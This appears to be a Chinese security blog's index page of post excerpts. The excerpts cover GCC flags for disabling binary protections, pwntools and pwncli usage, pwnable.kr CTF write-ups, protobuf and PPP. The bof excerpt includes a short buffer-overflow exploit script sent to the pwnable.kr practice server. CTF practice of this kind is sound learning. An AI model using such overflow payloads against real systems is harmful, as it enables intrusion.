PWN——GCC编译中几种保护打开和关闭的参数
PWN——GCC编译中几种保护打开和关闭的参数
NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限
PWNTools的各种函数的使用[官网翻译]
PWNTools的各种函数的使用[官网翻译]ROP函数的使用pwnlib.rop.rop - 面向返回的编程
ROP工具可以用来构建非常简单的堆栈。让我们创建一个假二进制,其中包含一些可能有用的符号。
123>>> context.clear(arch='i386')>>> binary = ELF.from_assembly('add esp, 0x10; ret')>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}
创建一个查找二进制符号的ROP对象非常简单
1>>> rop = ROP(binary)
使用ROP对象,可以手动添加堆栈帧。
123>>> rop.raw(0)>>> rop.raw(unpack('abcd' ...
PWNtools模板
PWNtools模板pwntools工具的使用
引入pwntools库123# 虽然不太符合pylint代码规范# 但官方也推荐这样引用from pwn import *
基本的输入输出和交互绑定要处理的程序1234567# 远程# remote(ip/hostname, port)p = remote("127.0.0.1", 8888)# 本地# 注意process中参数一定要有./p = process("./pwn")
设置上下文环境1234567891011121314151617181920# 设置上下文环境主要用于一些需要上下文的漏洞利用# 比如:shellcode的生成# 设置操作系统context.os = "linux"# 设置32位的体系架构 context.arch = "i386"# 设置64位的体系架构context.arch = "amd64"# 打印交互中的输入和输出context.log_level = "debug"# 也可以直 ...
pwncli的用法
pwncli的用法前言pwncli是一款简单、易用的pwn题调试与攻击工具,能提高你在CTF比赛中调试pwn题脚本的速度与效率。
pwncli可以帮助你快速编写pwn题攻击脚本,并实现本地调试和远程攻击的便捷切换。pwncli支持三种使用模式:
命令行使用模式
脚本内使用模式
库导入使用模式
以上三种模式分别简称为:命令行模式、脚本模式和库模式。其中,命令行模式与其他命令行工具(如linux下的ls、tar等命令)使用方式相同,可用于本地交互调试;脚本模式可将自己编写的python攻击脚本包装为命令行工具,然后调用子命令执行所需功能;库模式则只会调用一些便捷的工具函数,方便快速解题。
pwncli设计为主命令-子命令模式(与git类似),目前已拥有的(子)命令有:
1234567891011pwncli config list set debug misc gadget setgdb patchelf qemu remote
其中,pwncli为主命令,config/debug/misc/ ...
pwnalbe.kr --collision
pwnalbe.kr –collision
由题可知和MD5哈希算法有关。
1.连接12345678910111213141516171819202122232425262728293031┌──(root💀kali)-[/home/kali/桌面]└─# ssh col@pwnable.kr -p2222 130 ⨯col@pwnable.kr's password: Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law. ____ __ __ ____ ____ ____ _ ___ __ _ ____ | \| |__| || \ / || \ | | / _] | |/ ]| \ | o ) | | || ...
pwnable.kr --fd
pwnable.kr –fd解题思路
1.kali远程链接
**在linux下可以用 ls -l命令来显示一个文件的属性以及文件所属的用户和组 **
在 Linux 中第一个字符代表这个文件是目录、文件或链接文件等等。
当为 d 则是目录
当为 - 则是文件;
若是 l 则表示为链接文档(link file);
若是 b 则表示为装置文件里面的可供储存的接口设备(可随机存取装置);
若是 c 则表示为装置文件里面的串行端口设备,例如键盘、鼠标(一次性读取装置)。
接下来的字符中,以三个为一组,且均为 rwx 的三个参数的组合。其中, r 代表可读(read)、 w 代表可写(write)、 x 代表可执行(execute)。 要注意的是,这三个权限的位置不会改变,如果没有权限,就会出现减号 - 而已。
可知,文件flag无访问权限
2.查看文件
123456789101112131415161718192021#include <stdio.h>#include <stdlib.h>#include <string.h>ch ...
pwnable.kr --bof
pwnable.kr –bof
由题意可得,本题是用缓冲区溢出。
1.分析文件ida反汇编(太菜了,还不会汇编)
给func函数传了一个整型。
分析代码可以知道gets存在缓冲区溢出漏洞。
只需要知道a1和s的偏移量即可溢出。
查看函数栈区,确定偏移量
蓝色区域为s数组的栈区,红色方框为a1的存储栈区。
偏移量为(0x8+0x2C =0x34 )
2.编写exp1234567from pwn import *r = remote("pwnable.kr" ,9000)payload = "a" * 0x34 + p32(0xCAFEBABE)r.sendline(payload)r.interactive()
p32打包0xCAFEBABE,改变a1的值。
运行效果如下:
12345678910111213┌──(root💀kali)-[/home/kali/桌面]└─# python test.py[+] Opening connection to pwnable.kr on port 9000: Done[*] S ...
pwnable.kr --flag
pwnable.kr –flag
这是一道简单的逆向题。
1.分析文件先用pe分析一下文件。
可以看出来文件是经过upx加壳的。
2.处理文件(脱壳)1234567891011┌──(root💀kali)-[/home/kali/桌面]└─# upx -d flag\ \(1\) Ultimate Packer for eXecutables Copyright (C) 1996 - 2020UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 883745 <- 335288 37.94% linux/amd64 flag ...
protobuf一种适合传输的序列化方案
protobuf一种适合传输的序列化方案前言protobuf是Google提出的序列化方案,此方案独立于语言和平台,目前提供了如c++,go,python等多种语言的实现,使用比较广泛,具有性能开销小,压缩率高等特点
protobuf有V2和V3两个主要差异很大的版本。下面会介绍两种版本的特点
proto2这个版本在编写 .proto 文件时的字段有三种限定符,分别是required、optional 和 repeated。
required:必须设置该字段,如果是在debug模式下编译 libprotobuf,则序列化一个未初始化(未对required字段赋值)的 message 将导致断言失败。在release模式的构建中,将跳过检查并始终写入消息,但解析未初始化的消息将返回false表示失败。
optional:可以设置也可以不设置该字段。如果未设置可选字段值,则使用默认值,也可以用[default = value]进行设置。
repeated:该字段可以重复任意次数(包括零次),可以将 repeated 字段视为动态大小的数组。message定义定义一个简单的 me ...
PPP协议报文对应数据段含义
PPP协议报文对应数据段含义LCPPP协议中的LCP(Link Control Protocol)协议是一种用于建立、配置和测试数据链路连接的协议,用于在PPP连接中协商和配置数据链路层参数。LCP协议的参数包括以下内容:
Maximum-Receive-Unit (MRU):数据链路层最大接收单元,用于指定对方PPP节点接收的最大数据包大小。
Authentication Protocol:认证协议,用于进行双向认证,确保PPP连接的安全性。
Magic Number:用于在PPP连接中唯一标识一个PPP节点,防止数据链路层出现“回环”,以确保PPP连接的稳定性。
Link Quality Monitoring (LQM):链路质量监测,用于监测PPP连接的质量,以便在PPP连接质量下降时采取相应措施。
Callback Control Protocol (CBCP):回拨控制协议,用于在PPP连接中实现回拨功能。
Compression Control Protocol (CCP):压缩控制协议,用于在PPP连接中实现数据压缩。
在LCP协议中,双方会进行协商,以确定需要配置的 ...